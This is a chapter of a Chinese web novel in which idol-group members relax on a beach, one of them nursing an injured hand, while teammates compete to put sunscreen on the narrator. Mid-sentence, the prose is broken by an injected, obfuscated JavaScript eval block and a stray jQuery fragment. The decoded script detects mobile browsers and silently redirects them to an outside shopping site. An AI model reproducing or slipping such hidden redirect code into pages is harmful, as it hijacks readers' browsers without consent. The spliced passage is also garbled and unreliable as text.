加泰的手背乍看只有一片乌青,没过两个小时,乌青越来越明显,到后面开始发黑。终于不得不去医院,叫那个洋医用跌打酒给他做了处理,最后包扎起来。
加泰右手包着绷带,参与完大部分MV拍摄。说没影响到拍摄是不可能的,不过好在造型师脑袋灵光,给他的绷带上面画了几个艺术体的字母,倒变成了时尚元素。
我几次单独去关心加泰的伤情,加泰都让我别想太多。
我说:“我知道,是谁坐在那里你都会帮他挡的。”但我还是会有点不好意思。
加泰听了我的话,安静了一会儿,说:“你又想多了。”
“……?”
离开小岛国前一日,我们到这里最受欢迎的海边放松。
逐雾来到海边,高呼了一声“wuhoo”,像只青蛙似地蹦进大海里游泳。两个没姓名的队友租了水艇,想在海面上兜兜风。
加泰的手不能碰水,只能穿着夏威夷衫躺在沙滩椅上。
他是为我而受伤,因为受伤而不能去海里玩。我要是抛下他,也跑到海里浪得不亦乐乎,似乎很对不起他。
祝昶换好泳衣,扛着冲浪板过来,问我去不去冲浪。
我摇头说:“我不会。”
他倒很大方:“我教你啊。”
我呈“大”字型躺在沙滩椅上,拉下头顶的墨镜,盖在眼睛上:“不想学,我就在这里晒会儿太阳吧。”
祝昶劝我不动,自己冲浪去了。
我躺在这里,除了让加泰感觉到身边还有个人以外,起不到其他用处。
我和加泰没什么话聊,老CP情谊现在谈起来,掉牙的酸。
我们便聊了聊新歌,聊了聊时事,断断续续,没谈得很火热,总归也没太冷场。
比我头一次跟祝昶单独相处好多了。
逐雾在海浪里不时大声邀请我:“瞬洺哥,来一起游泳吧!”
我拉下墨镜看了一眼那个沙滩裤全湿了的小子,大声拒绝。
到了快正午,太阳越来越烈,我的肌肤每一寸变得火热,像有一团团小火焰在上面爬走,但不难受,反而烫得很舒服。这也正是那么多人爱来这里晒太阳的原因。
我拿出防晒乳,问加泰擦不擦。加泰说他出来时擦过很多了,现在不需要。
我挤了一大半防晒乳在手心上,搽开来,抹在身体上。
“嘶,哎……”
加泰问我怎么了。我说我后背擦不太匀,加泰让我背过身去,自告奋勇要来帮我。
“你手不是受伤了?”
“人有两只手。”
他说得好有道理。
我点头说行,将防晒乳递给他,背过身趴在躺椅上。
加泰起身走来,坐在我身旁。紧跟着,冰凉的乳液在我背上漫开,随之而来,是一只温热的手。那只温热的手,力道适中地搽着我的背。
没搽匀一半,祝昶的声音忽然出现了:“你手伤了,我来吧。”
我转过头,望见全身湿哒哒的祝昶,将冲浪板竖插在沙滩里,步子迈过来,理所当然地拿过加泰手中的防晒乳。边往手心挤防晒乳,边对加泰说:“回去坐吧。”
加泰默了默,起身回到自己的位置上,拿起桌上冰块未融的果汁,吸了很长的一口。然后便看了我和祝昶一眼。
还是兄弟懂得惜兄弟,像我,都不担心加泰一只手无法好好帮我涂防晒。这点体贴,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154840|196537||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
比不上祝昶。惭愧极了。
祝昶给我的背,用防晒乳从头到尾涂了一遍。
我掂量这个量,少说用掉了半瓶。
这防晒霜可不便宜,我颇有心疼,便跟他说这样就可以了。
祝昶“哦”了声,收起防晒乳,但不起身,索性是一脚跨过椅子,整个人坐我腰上:“我上回听你说你肩膀酸,帮你按按?”
我本想礼貌回绝,他的手却已在我背上按起来:“放心吧,我跟理疗师学过的,手艺还不错。”
加泰呼吸得逐渐大声,好似对这越来越热的气温感到不满,将果汁拿起来一口气吸到底,吸得滋滋响。
祝昶在我背上又捶又按,邀功般问我:“怎么样?还可以吧?”
我“嗯”了声,给它比了一个“ok”的手势。
“瞬洺哥!”海浪里的逐雾大叫我的名字。
我有意起身,祝昶于是从我身上下来了。
我站起来,转过身去看那不断喊我名字的小子。
那小子不知从哪搞了个大游泳圈,整个人凹在游泳圈里,只有腿和脖子挂在圈上:“你看我可以这样游!我可以这样游!”他学鸭子一样钻进水里,又突然冒出来。全身挂着闪闪发光的海水。
我被他滑稽的动作逗得发笑。
“这小子最近中文进步不少。”祝昶叉腰说。
我扭头应祝昶:“我天天晚上当他的免费教师。”
“……嗯?”
逐雾看我视线转向别处,迫切地大喊:“瞬洺哥,看我!看我!”
这次,他学海豚在海浪中跳跃。我则笑得更大声了。
以前竟没发现我这些队友们,个个这么“多才多艺”。